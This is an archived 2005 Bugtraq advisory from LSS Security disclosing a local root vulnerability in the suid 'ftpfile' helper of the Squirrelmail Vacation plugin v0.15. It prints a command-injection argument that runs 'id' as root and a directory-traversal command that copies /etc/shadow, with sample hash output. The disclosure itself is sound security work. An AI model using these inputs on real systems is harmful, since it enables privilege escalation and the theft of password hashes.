[38166] in bugtraq
Squirrelmail vacation v0.15 local root exploit
daemon@ATHENA.MIT.EDU (LSS Security)
Tue Jan 11 20:51:51 2005
Date: Tue, 11 Jan 2005 12:50:14 +0100
From: LSS Security <exposed@lss.hr>
To: bugtraq@securityfocus.com
Message-ID: <20050111115014.GC23077@cecilija.zesoi.fer.hr>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
LSS Security Advisory #LSS-2005-01-03
http://security.lss.hr
---
Title : Squirrelmail vacation v0.15 local root exploit
Advisory ID : LSS-2005-01-03
Date : 10.01.2005.
Advisory URL: : http://security.lss.hr/en/index.php?page=details&ID=LSS-2005-01-03
Impact : Privilege escalation and arbitrary file read
Risk level : High
Vulnerability type : Local
Vendors contacted : No response from vendor
---
===[ Overview
Vacation plugin for Squirrelmail allows UNIX users to set an auto-reply
message to incoming email. That is commonly used to notify the sender of
the receiver's absence. Vacation plugin specifically uses the Vacation program.
Plugin can be downloaded from:
http://www.squirrelmail.org/plugins/vacation0.15-1.43a.tar.gz
===[ Vulnerability
Within Squirrelmail Vacation plugin there is suid root program 'ftpfile'.
The program is used to access local files in user's home directory. There is
a privilege escalation and arbitrary file read vulnerability in ftpfile.
Command line arguments are passed to execve() function without checking
for meta-characters, therefore making possible execution of commands as root.
[ljuranic@laptop ljuranic]$ id
uid=509(ljuranic) gid=513(ljuranic) groups=513(ljuranic)
[ljuranic@laptop ljuranic]$ ftpfile 0 root 0 get 0 "LSS-Security;id"
/bin/cp: omitting directory `/root/0'
uid=0(root) gid=513(ljuranic) groups=513(ljuranic)
[ljuranic@laptop ljuranic]$
It is also possible to read restricted files (such as /etc/shadow), since
ftpfile can copy a file from user's home directory to any other
directory without checking file name for directory traversal attack.
$ ftpfile localhost root root get ../../../../etc/shadow ./shadow
./shadow[ljuranic@laptop ljuranic]$ head ./shadow
root:$1$Pwqt1daJ$DIe.fhBadNTN6d1br1OGy0:12401:0:99999:7:::
bin:*:10929:0:99999:7:::
daemon:*:10929:0:99999:7:::
lp:*:10929:0:99999:7:::
[ljuranic@laptop ljuranic]$
===[ Affected versions
Squirrelmail Vacation v0.15 and previous versions.
===[ Fix
Not available yet.
===[ PoC Exploit
http://security.lss.hr/exploits/
===[ Credits
Credits for this vulnerability goes to Leon Juranic.
===[ LSS Security Contact
LSS Security Team, <eXposed by LSS>
WWW : http://security.lss.hr
E-mail : security@LSS.hr
Tel : +385 1 6129 775
